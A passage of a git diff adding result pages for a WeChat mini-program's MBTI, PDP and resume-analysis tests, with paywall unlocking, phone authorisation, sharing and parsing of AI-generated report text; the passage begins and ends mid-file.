res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.applyResult(data) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), + complete: () => wx.hideLoading() + }) + }, + + applyResult(result) { + if (!result) return + const desc = result.description || {} + const dimensions = (result.dimensionScores && !result.locked) + ? [ + { key: 'EI', left: '外向(E)', right: '内向(I)', ...result.dimensionScores.EI }, + { key: 'SN', left: '感觉(S)', right: '直觉(N)', ...result.dimensionScores.SN }, + { key: 'TF', left: '思考(T)', right: '情感(F)', ...result.dimensionScores.TF }, + { key: 'JP', left: '判断(J)', right: '知觉(P)', ...result.dimensionScores.JP } + ] + : [] + this.setData({ + result, + dimensions, + mbtiDesc: { + title: desc.name || '', + description: desc.description || '', + strengths: desc.strengths || [], + weaknesses: desc.weaknesses || [], + careers: desc.careers || [], + relationships: desc.relationships || '' + } + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const pricing = cfg.pricing || {} + const reportRequires = cfg.reportRequiresPayment || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { + requiresPayment, + isPaid: false, + amountYuan + } + }) + }) + .catch(() => { + this.setData({ + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } + }) + }) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { + wx.showToast({ title: '请先登录', icon: 'none' }) + return + } + payment.purchaseMbtiTest({ + testResultId: testResultId || undefined, + success: () => { + wx.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + // 付费解锁按钮:就地触发微信手机号授权,然后调用 unlockFullReport + onGetPhoneNumberForMbtiPay(e) { + if (!ensureProfileCompleteAndRedirect()) return + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + if (!hasPhone()) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + this.unlockFullReport() + return + } + if (!code) { + if (hasPhone()) { + this.unlockFullReport() + } else { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + } + return + } + bindPhoneByCode(code) + .then(() => { + this.setData({ hasPhone: true }) + this.unlockFullReport() + }) + .catch(() => { + // 保持在当前页,等待用户重新点击 + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + wx.removeStorageSync('mbtiResult') + } + wx.navigateTo({ url: '/pages/test/mbti' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, + path: getSharePathByScope('/pages/index/index'), + imageUrl: '/images/share-mbti.png' + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的MBTI类型是${result?.mbtiType}(${result?.description?.name}),来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/result/mbti.json b/miniprogram/pages/result/mbti.json new file mode 100644 index 0000000..69463c1 --- /dev/null +++ b/miniprogram/pages/result/mbti.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "MBTI结果", + "navigationBarBackgroundColor": "#FF6B8A", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/result/mbti.wxml b/miniprogram/pages/result/mbti.wxml new file mode 100644 index 0000000..87aa867 --- /dev/null +++ b/miniprogram/pages/result/mbti.wxml @@ -0,0 +1,107 @@ + + + + + + + 您的MBTI性格类型 + {{result.mbtiType}} + {{mbtiDesc.title}} + {{mbtiDesc.description}} + + + + + + + 完整性格分析 + • 四维得分与主导倾向 + • 优势与需要注意的方面 + • 职业匹配与人际关系建议 + + + + + + + + + + + + + {{item.left}} + {{item.right}} + + + + + + {{item.dominant}} + {{item.percentage}}% + + + + + + + 性格特征分析 + + 优势 + + + {{item}} + + + + + 需要注意的方面 + + + {{item}} + + + + + + 职业匹配度分析 + + + {{item}} + + + + + 人际关系分析 + {{mbtiDesc.relationships}} + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/mbti.wxss b/miniprogram/pages/result/mbti.wxss new file mode 100644 index 0000000..6613c88 --- /dev/null +++ b/miniprogram/pages/result/mbti.wxss @@ -0,0 +1,240 @@ +/* pages/result/mbti.wxss - 按旧版模板重构 */ +.result-page { + width: 100%; + min-height: 100vh; + background-color: #f5f5f5; +} + +.content-scroll { + width: 100%; + height: 100vh; +} + +.content-container { + padding: 32rpx; + padding-bottom: 64rpx; +} + +.type-card, +.analysis-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + margin-bottom: 32rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.type-header { + text-align: center; + margin-bottom: 40rpx; +} + +.type-label { + display: block; + font-size: 32rpx; + color: #333; + margin-bottom: 16rpx; +} + +.type-value { + display: block; + font-size: 72rpx; + font-weight: bold; + color: #8b5cf6; + margin: 16rpx 0; +} + +.type-title { + display: block; + font-size: 34rpx; + color: #a78bfa; + margin-bottom: 20rpx; +} + +.type-description { + display: block; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.dimensions-section .dimension-item { + margin-bottom: 28rpx; +} + +.dimension-labels, +.dimension-values { + display: flex; + justify-content: space-between; +} + +.label-left, +.label-right, +.value-left, +.value-right { + font-size: 24rpx; + color: #666; +} + +.progress-bar-container { + width: 100%; + height: 16rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + margin: 8rpx 0; + overflow: hidden; +} + +.progress-bar { + height: 100%; + border-radius: 8rpx; + background: linear-gradient(90deg, #8b5cf6 0%, #a78bfa 100%); +} + +.card-title { + display: block; + font-size: 36rpx; + font-weight: bold; + color: #333; + margin-bottom: 24rpx; +} + +.trait-section { + margin-bottom: 24rpx; +} + +.trait-title { + display: block; + font-size: 30rpx; + color: #333; + margin-bottom: 12rpx; +} + +.trait-item { + display: flex; + align-items: flex-start; + margin-bottom: 8rpx; +} + +.trait-bullet { + margin-right: 12rpx; + color: #8b5cf6; +} + +.trait-text { + flex: 1; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.career-item { + display: flex; + align-items: center; + margin-bottom: 18rpx; +} + +.career-dot { + width: 14rpx; + height: 14rpx; + border-radius: 50%; + background-color: #8b5cf6; + margin-right: 18rpx; +} + +.career-text { + flex: 1; + font-size: 28rpx; + color: #333; +} + +.relationship-text { + font-size: 28rpx; + color: #666; + line-height: 1.7; +} + +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100% !important; + padding: 28rpx; + border-radius: 16rpx; + margin-bottom: 20rpx; + border: none; + box-sizing: border-box; + overflow: hidden; +} + +/* 消除微信 button 伪元素自带边框 */ +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + box-shadow: 0 8rpx 24rpx rgba(255, 107, 138, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #FF6B8A; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #FF6B8A; + font-weight: 500; +} + +/* 付费墙 */ +.paywall-card { + margin-top: 24rpx; + border-radius: 24rpx; + overflow: hidden; +} +.paywall-content { position: relative; } +.paywall-blur { + padding: 32rpx 24rpx 140rpx; + border-radius: 24rpx; + background: rgba(255, 255, 255, 0.7); + backdrop-filter: blur(18rpx); +} +.paywall-mask { + position: absolute; + left: 0; top: 0; right: 0; bottom: 0; + border-radius: 24rpx; + background: linear-gradient(180deg, rgba(255,255,255,0.1), rgba(245,245,245,0.98)); + pointer-events: none; +} +.paywall-fake-title { display: block; font-size: 30rpx; font-weight: 600; color: #444; margin-bottom: 16rpx; } +.paywall-fake-line { display: block; font-size: 26rpx; color: #888; line-height: 1.8; } +.paywall-btn { + position: absolute; + left: 5%; right: 5%; + width: 90%; + bottom: 56rpx; + padding: 20rpx 0; + border-radius: 999rpx; + background: linear-gradient(135deg, #FF6B8A 0%, #ff8fa3 100%); + box-shadow: 0 8rpx 24rpx rgba(255, 107, 138, 0.35); + display: flex; + flex-direction: row; + align-items: baseline; + justify-content: center; + gap: 12rpx; +} +.paywall-btn-main { font-size: 30rpx; color: #fff; font-weight: 600; } +.paywall-btn-price { font-size: 24rpx; color: #ffe5f0; } diff --git a/miniprogram/pages/result/pdp.js b/miniprogram/pages/result/pdp.js new file mode 100644 index 0000000..72316fc --- /dev/null +++ b/miniprogram/pages/result/pdp.js @@ -0,0 +1,157 @@ +// pages/result/pdp.js - PDP结果页(支持付费墙 + 历史详情拉取) +const app = getApp() +const payment = require('../../utils/payment') + +const PDP_KEYS = ['Tiger', 'Peacock', 'Koala', 'Owl', 'Chameleon'] + +function toIntPercent(v) { + if (v == null) return 0 + const n = typeof v === 'number' ? v : Number(v) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +function withPercentagesInt(data) { + if (!data) return data + const p = data.percentages || {} + const out = { ...data } + const ints = {} + PDP_KEYS.forEach((k) => { ints[k] = toIntPercent(p[k] ?? p[k.toLowerCase()]) }) + out.percentagesInt = ints + return out +} + +Page({ + data: { + result: null, + typeList: [ + { type: 'Tiger', emoji: '🐅', label: '老虎型', colorClass: 'fill-tiger' }, + { type: 'Peacock', emoji: '🦚', label: '孔雀型', colorClass: 'fill-peacock' }, + { type: 'Koala', emoji: '🐨', label: '考拉型', colorClass: 'fill-koala' }, + { type: 'Owl', emoji: '🦉', label: '猫头鹰型', colorClass: 'fill-owl' }, + { type: 'Chameleon', emoji: '🦎', label: '变色龙型', colorClass: 'fill-chameleon' } + ], + payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 }, + testResultId: null, + hasReloadedAfterPay: false + }, + + onLoad(options) { + const id = options && options.id + const type = options && options.type + if (id && type === 'pdp') { + this.setData({ testResultId: id }) + this.loadDetail(id) + return + } + const result = wx.getStorageSync('pdpResult') + if (result) { + this.setData({ result: withPercentagesInt(result) }) + this.initPayInfoFromRuntime('pdp') + } else { + wx.showToast({ title: '暂无测试结果', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + } + }, + + loadDetail(id) { + const apiBase = app.globalData?.apiBase || '' + const token = app.globalData?.token || wx.getStorageSync('token') || '' + if (!apiBase) { wx.showToast({ title: '配置异常', icon: 'none' }); return } + wx.showLoading({ title: '加载中...' }) + wx.request({ + url: `${apiBase}/api/test/detail`, + method: 'GET', + header: token ? { Authorization: `Bearer ${token}` } : {}, + data: { id }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const payload = res.data.data || {} + const data = payload.data || payload + const isPaid = !!payload.isPaid + const paidAmount = payload.paidAmount != null ? Number(payload.paidAmount) : 0 + const amountYuan = payload.amountYuan != null ? Number(payload.amountYuan) : (paidAmount > 0 ? paidAmount / 100 : 0) + const needPaymentToUnlock = payload.needPaymentToUnlock === true || (!!payload.requiresPayment && !isPaid && paidAmount > 0) + this.setData({ result: withPercentagesInt(data) }) + const payInfo = { + requiresPayment: needPaymentToUnlock, + isPaid, + amountYuan: needPaymentToUnlock ? amountYuan : 0 + } + this.setData({ payInfo }) + } else { + wx.showToast({ title: res.data?.message || '加载失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '网络错误', icon: 'none' }), + complete: () => wx.hideLoading() + }) + }, + + initPayInfoFromRuntime(testType) { + app.getRuntimeConfig() + .then((cfg) => { + const reportRequires = cfg.reportRequiresPayment || {} + const pricing = cfg.pricing || {} + const requiresPayment = !!(reportRequires && reportRequires[testType]) + const amountYuan = Number(pricing[testType]) || (requiresPayment ? 1.98 : 0) + this.setData({ + payInfo: { requiresPayment, isPaid: false, amountYuan } + }) + }) + .catch(() => this.setData({ payInfo: { requiresPayment: false, isPaid: false, amountYuan: 0 } })) + }, + + unlockFullReport() { + const { payInfo, testResultId, hasReloadedAfterPay } = this.data + if (!payInfo.requiresPayment || payInfo.isPaid) return + app.ensureLogin && app.ensureLogin().then((logged) => { + if (!logged) { wx.showToast({ title: '请先登录', icon: 'none' }); return } + payment.purchasePdpTest({ + testResultId: testResultId || undefined, + success: () => { + wx.showToast({ title: '已解锁完整报告', icon: 'success' }) + this.setData({ 'payInfo.isPaid': true }) + if (testResultId && !hasReloadedAfterPay) { + this.setData({ hasReloadedAfterPay: true }) + setTimeout(() => this.loadDetail(testResultId), 500) + } + }, + fail: () => {} + }) + }) + }, + + retakeTest() { + if (!this.data.testResultId) { + wx.removeStorageSync('pdpResult') + } + wx.navigateTo({ url: '/pages/test/pdp' }) + }, + + goHome() { + const scope = (getApp().globalData && getApp().globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + const result = this.data.result + const { getSharePathByScope } = require('../../utils/share') + return { + title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const result = this.data.result + const { buildShareQuery } = require('../../utils/share') + return { + title: `我的PDP类型是${result?.description?.type}${result?.description?.emoji},来测测你的吧!`, + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/result/pdp.json b/miniprogram/pages/result/pdp.json new file mode 100644 index 0000000..f9e3a76 --- /dev/null +++ b/miniprogram/pages/result/pdp.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "PDP结果", + "navigationBarBackgroundColor": "#F59E0B", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/result/pdp.wxml b/miniprogram/pages/result/pdp.wxml new file mode 100644 index 0000000..fad5c5b --- /dev/null +++ b/miniprogram/pages/result/pdp.wxml @@ -0,0 +1,87 @@ + + + + + + + PDP性格类型 + {{result.description.type || result.dominantType}}{{result.description.emoji || ''}} + {{result.description.title}} + {{result.description.description}} + + + + + + 完整PDP报告 + • 五维得分详情 + • 性格特征与团队角色 + • 推荐职业 + + + + 解锁完整报告 + ¥{{payInfo.amountYuan}} / 次 + + + + + + PDP得分详情 + + + {{item.emoji}} {{item.label}} + {{result.percentagesInt && result.percentagesInt[item.type] != null ? result.percentagesInt[item.type] + '%' : '0%'}} + + + + + + + + + + 性格特征 + + 优势 + + + {{item}} + + + + 需要注意的方面 + + + {{item}} + + + + + + 团队角色 + {{result.description.teamRole}} + + + + 推荐职业 + + + {{item}} + + + + + + + 重新测试 + + + 返回首页 + + + + + diff --git a/miniprogram/pages/result/pdp.wxss b/miniprogram/pages/result/pdp.wxss new file mode 100644 index 0000000..687e538 --- /dev/null +++ b/miniprogram/pages/result/pdp.wxss @@ -0,0 +1,211 @@ +/* pages/result/pdp.wxss - 按旧版模板重构 */ +.result-page { + width: 100%; + min-height: 100vh; + background-color: #f5f5f5; +} + +.content-scroll { + width: 100%; + height: 100vh; +} + +.content-container { + padding: 32rpx; + padding-bottom: 64rpx; +} + +.type-card, +.analysis-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + margin-bottom: 32rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.type-header { + text-align: center; + margin-bottom: 40rpx; +} + +.type-label { + display: block; + font-size: 30rpx; + color: #333; +} + +.type-value { + display: block; + font-size: 56rpx; + font-weight: bold; + color: #8b5cf6; + margin: 14rpx 0; +} + +.type-title { + display: block; + font-size: 34rpx; + color: #333; + margin-bottom: 16rpx; +} + +.type-description { + display: block; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.section-title, +.card-title { + display: block; + font-size: 34rpx; + font-weight: bold; + color: #333; + margin-bottom: 20rpx; +} + +.score-item { + margin-bottom: 18rpx; +} + +.score-header { + display: flex; + justify-content: space-between; + margin-bottom: 8rpx; +} + +.score-label, +.score-value { + font-size: 28rpx; + color: #666; +} + +.progress-bar-container { + width: 100%; + height: 14rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + border-radius: 8rpx; +} + +.fill-tiger { background: #ef4444; } +.fill-peacock { background: #eab308; } +.fill-koala { background: #22c55e; } +.fill-owl { background: #3b82f6; } +.fill-chameleon { background: #a855f7; } + +.trait-section { + margin-bottom: 18rpx; +} + +.trait-title { + display: block; + font-size: 30rpx; + color: #333; + margin-bottom: 8rpx; +} + +.trait-item { + display: flex; + align-items: flex-start; + margin-bottom: 6rpx; +} + +.trait-bullet { + margin-right: 12rpx; + color: #8b5cf6; +} + +.trait-text { + flex: 1; + font-size: 28rpx; + color: #666; + line-height: 1.6; +} + +.relationship-text { + font-size: 28rpx; + color: #666; + line-height: 1.7; +} + +.career-item { + display: flex; + align-items: center; + margin-bottom: 16rpx; +} + +.career-dot { + width: 14rpx; + height: 14rpx; + background-color: #8b5cf6; + border-radius: 50%; + margin-right: 16rpx; +} + +.career-text { + flex: 1; + font-size: 28rpx; + color: #333; +} + +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100% !important; + padding: 28rpx; + border-radius: 16rpx; + margin-bottom: 20rpx; + border: none; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + box-shadow: 0 8rpx 24rpx rgba(245, 158, 11, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #F59E0B; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #F59E0B; + font-weight: 500; +} + +.paywall-card { margin-top: 24rpx; border-radius: 24rpx; overflow: hidden; } +.paywall-content { position: relative; } +.paywall-blur { padding: 32rpx 24rpx 140rpx; border-radius: 24rpx; background: rgba(255,255,255,0.7); backdrop-filter: blur(18rpx); } +.paywall-mask { position: absolute; left: 0; top: 0; right: 0; bottom: 0; border-radius: 24rpx; background: linear-gradient(180deg, rgba(255,255,255,0.1), rgba(245,245,245,0.98)); pointer-events: none; } +.paywall-fake-title { display: block; font-size: 30rpx; font-weight: 600; color: #444; margin-bottom: 16rpx; } +.paywall-fake-line { display: block; font-size: 26rpx; color: #888; line-height: 1.8; } +.paywall-btn { position: absolute; left: 5%; right: 5%; width: 90%; bottom: 56rpx; padding: 20rpx 0; border-radius: 999rpx; background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); box-shadow: 0 8rpx 24rpx rgba(245,158,11,0.35); display: flex; flex-direction: row; align-items: baseline; justify-content: center; gap: 12rpx; } +.paywall-btn-main { font-size: 30rpx; color: #fff; font-weight: 600; } +.paywall-btn-price { font-size: 24rpx; color: #ffe5f0; } diff --git a/miniprogram/pages/result/resume.js b/miniprogram/pages/result/resume.js new file mode 100644 index 0000000..094bd4a --- /dev/null +++ b/miniprogram/pages/result/resume.js @@ -0,0 +1,524 @@ +// pages/result/resume.js - 简历综合分析结果页 +const app = getApp() +const payment = require('../../utils/payment') + +Page({ + data: { + loading: true, + error: '', + content: '', + sections: [], + resumeData: null, + fileUrl: '', + progress: 0, + analyzingTip: '正在准备分析数据...', + analyzingTitle: '综合分析生成中', + // 支付相关 + payInfo: { + requiresPayment: false, + isPaid: false, + amountYuan: 0 + }, + testResultId: 0, + paying: false + }, + + onLoad(options) { + const fileUrl = options.fileUrl ? decodeURIComponent(options.fileUrl) : '' + this.setData({ fileUrl }) + + // 从历史记录进入:直接读已存的数据,不重新生成 + if (options.id && options.type === 'resume') { + this.loadFromHistory(options.id) + } else { + this.fetchResumeAnalysis() + } + }, + + loadFromHistory(id) { + this.setData({ loading: true, error: '', content: '', sections: [], resumeData: null }) + const apiBase = (app.globalData && app.globalData.apiBase) || wx.getStorageSync('apiBase') || '' + const token = (app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' + wx.request({ + url: `${apiBase}/api/test/detail?id=${id}`, + method: 'GET', + timeout: 15000, + header: { 'Authorization': token ? `Bearer ${token}` : '' }, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.data) { + const payload = res.data.data + let data = payload.data || payload + + // 兼容:历史数据可能是字符串,或包在 content 里的 JSON 字符串 + data = this.normalizeStructuredData(data) + + const structured = !!data && data._structured === true + + let content = '' + let sections = [] + + if (structured) { + const built = this.buildSectionsFromStructured(data) + content = built.content + sections = built.sections + } else { + const raw = data.content || '' + content = raw + sections = this.parseContent(raw) + } + const requiresPayment = !!payload.requiresPayment + const isPaid = !!payload.isPaid + const amountYuan = payload.paidAmount ? payload.paidAmount / 100 : 0 + this.setData({ + loading: false, + testResultId: payload.id || parseInt(id) || 0, + content: (!requiresPayment || isPaid) ? content : '', + sections: (!requiresPayment || isPaid) ? sections : [], + resumeData: structured ? data : null, + payInfo: { requiresPayment: requiresPayment && !isPaid, isPaid, amountYuan } + }) + } else { + this.setData({ loading: false, error: '加载历史记录失败,请返回重试。' }) + } + }, + fail: () => { + this.setData({ loading: false, error: '网络请求失败,请检查网络后重试。' }) + } + }) + }, + + fetchResumeAnalysis() { + this.setData({ loading: true, error: '', content: '', sections: [], resumeData: null, progress: 0 }) + + const tips = [ + '正在汇总各项测评结果...', + '正在解析简历内容...', + 'AI 正在进行深度匹配分析...', + '正在生成综合评估报告...', + '分析即将完成,请稍候...' + ] + let progress = 0 + let tipIndex = 0 + + // 进度动画 + const timer = setInterval(() => { + progress += 2 + if (progress > 98) progress = 98 + if (progress > (tipIndex + 1) * 18 && tipIndex < tips.length - 1) tipIndex++ + this.setData({ progress: Math.floor(progress), analyzingTip: tips[tipIndex] }) + }, 200) + + const apiBase = (app.globalData && app.globalData.apiBase) || wx.getStorageSync('apiBase') || '' + const token = (app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' + + // 获取 enterpriseId + const gd = app.globalData || {} + const storedUser = wx.getStorageSync('userInfo') || null + const enterpriseId = gd.enterpriseIdFromScene + || (gd.userInfo && gd.userInfo.enterpriseId) + || (storedUser && storedUser.enterpriseId) + || null + + const postData = {} + if (this.data.fileUrl) postData.fileUrl = this.data.fileUrl + if (enterpriseId) postData.enterpriseId = enterpriseId + + wx.request({ + url: `${apiBase}/api/resume/analyze`, + method: 'POST', + timeout: 120000, + header: { + 'Content-Type': 'application/json', + 'Authorization': token ? `Bearer ${token}` : '' + }, + data: postData, + success: (res) => { + clearInterval(timer) + if (res.statusCode === 200 && res.data) { + if (res.data.code === 200) { + let d = res.data.data || {} + const p = d._payment || {} + const requiresPayment = !!p.requiresPayment + const amountYuan = p.amountYuan || 0 + const resultId = d._testResultId || 0 + + // 兼容:API 直接返回结构化对象,或把 JSON 放在 content 里 + d = this.normalizeStructuredData(d) + + const structured = !!d && d._structured === true + + let content = '' + let sections = [] + + if (structured) { + const built = this.buildSectionsFromStructured(d) + content = built.content + sections = built.sections + } else { + const raw = d.content || '' + content = raw || '分析已完成,但未返回可展示的内容。' + sections = this.parseContent(raw) + } + + this.setData({ + loading: false, + progress: 100, + testResultId: resultId, + content: requiresPayment ? '' : content, + sections: requiresPayment ? [] : sections, + resumeData: structured ? d : null, + payInfo: { requiresPayment, isPaid: !requiresPayment, amountYuan } + }) + } else { + this.setData({ + loading: false, + error: res.data.message || res.data.msg || '综合分析失败,请稍后重试。' + }) + } + } else { + this.setData({ + loading: false, + error: '服务器返回异常,请稍后重试。' + }) + } + }, + fail: (err) => { + clearInterval(timer) + const isTimeout = err && (err.errMsg || '').indexOf('timeout') !== -1 + this.setData({ + loading: false, + error: isTimeout ? 'AI 分析耗时较长,请点击「重新生成」再试。' : '网络请求失败,请检查网络后重试。' + }) + } + }) + }, + + // 支付解锁 + doPay() { + if (this.data.paying) return + this.setData({ paying: true }) + const testResultId = this.data.testResultId || 0 + payment.purchaseResumeAnalysis({ + testResultId: testResultId > 0 ? testResultId : undefined, + success: () => { + this.setData({ paying: false, 'payInfo.requiresPayment': false, 'payInfo.isPaid': true }) + // 支付成功后重新拉取完整内容 + if (testResultId > 0) { + this.loadFromHistory(testResultId) + } + }, + fail: (err) => { + this.setData({ paying: false }) + wx.showToast({ title: (err && err.message) || '支付失败,请重试', icon: 'none' }) + } + }) + }, + + goHome() { + const scope = (app.globalData && app.globalData.appScope) || 'personal' + if (scope === 'enterprise') { + wx.navigateTo({ url: '/pages/enterprise/index' }) + } else { + wx.switchTab({ url: '/pages/index/index' }) + } + }, + + onShareAppMessage() { + return { + title: '我刚刚完成了一份人才简历综合分析报告,快来看看吧!', + path: '/pages/index/index' + } + }, + + onPullDownRefresh() { + this.fetchResumeAnalysis() + wx.stopPullDownRefresh() + }, + + // 智能解析 AI 输出的长文本,按标题分块 + parseContent(content) { + if (!content) return []; + + // 1. 预处理:去掉首尾空行 + content = content.trim(); + + // 2. 尝试分割 + // 使用正则匹配头部标记:## Title 或 ### Title 或 **一、Title** 或 一、**Title** + const parts = content.split(/\n(?=#{2,4}\s+|\*\*?[\d一二三四五六七八九十]+[、\.].*?\*\*?|【.*?】)/); + const sections = []; + + parts.forEach(part => { + let title = ''; + let body = ''; + + // 匹配 ## 标题 + const hMatch = part.match(/^(?:#{2,4}\s+)(.*?)\n([\s\S]*)$/m); + // 匹配 **一、标题** 或 一、**标题** + const bMatch = part.match(/^(?:\*\*?[\d一二三四五六七八九十]+[、\.].*?\*\*?)([\s\S]*)$/m); + // 匹配 【标题】 + const kMatch = part.match(/^(?:【(.*?)】)\n?([\s\S]*)$/m); + + if (hMatch) { + title = hMatch[1].replace(/[\*#]/g, '').trim(); + body = hMatch[2].trim(); + } else if (kMatch) { + title = kMatch[1].trim(); + body = kMatch[2].trim(); + } else if (bMatch) { + const rawTitleMatch = part.match(/^(\*\*?.*?\*\*?)/); + title = rawTitleMatch ? rawTitleMatch[1].replace(/[\*#]/g, '').trim() : ''; + body = bMatch[1].trim(); + } else { + body = part.trim(); + } + + // 清洗正文中的 Markdown 符号 + body = this.cleanMarkdown(body); + + if (title || body) { + sections.push({ + title: title || '报告详情', + icon: this.getSectionIcon(title), + body: body + }); + } + }); + + return sections; + }, + + // 兼容各种后端返回形态,统一整理为结构化对象或普通文本 + normalizeStructuredData(raw) { + let data = raw + + // 字符串:尝试直接当 JSON 解析 + if (typeof data === 'string') { + try { + const parsed = JSON.parse(data) + if (parsed && typeof parsed === 'object') { + data = parsed + } + } catch (e) {} + } + + // 包在 content 里的 JSON 字符串 + if (data && typeof data === 'object' && typeof data.content === 'string') { + const text = data.content.trim() + if (text.startsWith('{')) { + try { + const parsedInner = JSON.parse(text) + if (parsedInner && typeof parsedInner === 'object') { + // 把外层 fileUrl 等透传下去 + if (data.fileUrl && !parsedInner.fileUrl) { + parsedInner.fileUrl = data.fileUrl + } + data = parsedInner + } + } catch (e) {} + } + } + + // 标记是否为结构化 JSON + if ( + data && + typeof data === 'object' && + (data.version === 2 || + !!data.overview || + !!data.portrait || + !!data.hrView || + !!data.bossView) + ) { + data._structured = true + } + + return data + }, + + // 从结构化 JSON 构建前端展示区块 + buildSectionsFromStructured(data) { + const sections = [] + + if (data.overview) { + sections.push({ + title: '整体人才画像', + icon: '👤', + body: this.cleanMarkdown(data.overview) + }) + } + + if (data.resumeHighlights) { + sections.push({ + title: '简历要点', + icon: '📄', + body: this.cleanMarkdown(data.resumeHighlights) + }) + } + + const portrait = data.portrait || {} + if ( + (portrait.coreStrengths && portrait.coreStrengths.length) || + (portrait.coreRisks && portrait.coreRisks.length) || + portrait.workStyle + ) { + const lines = [] + if (portrait.coreStrengths && portrait.coreStrengths.length) { + lines.push('【核心优势】') + lines.push(...portrait.coreStrengths.map((s) => '- ' + s)) + } + if (portrait.coreRisks && portrait.coreRisks.length) { + lines.push('') + lines.push('【潜在风险】') + lines.push(...portrait.coreRisks.map((s) => '- ' + s)) + } + if (portrait.workStyle) { + lines.push('') + lines.push('【工作风格】') + lines.push(portrait.workStyle) + } + sections.push({ + title: '人才画像', + icon: '🌈', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + + const hrView = data.hrView || {} + const role = hrView.roleRecommend || {} + if ((role.bestFit && role.bestFit.length) || (role.notSuitable && role.notSuitable.length)) { + const lines = [] + if (role.bestFit && role.bestFit.length) { + lines.push('【推荐岗位】') + lines.push(...role.bestFit.map((s) => '- ' + s)) + } + if (role.notSuitable && role.notSuitable.length) { + lines.push('') + lines.push('【不适合场景】') + lines.push(...role.notSuitable.map((s) => '- ' + s)) + } + sections.push({ + title: '岗位匹配建议(HR视角)', + icon: '🧭', + body: this.cleanMarkdown(lines.join('\n')) + }) + } + + if 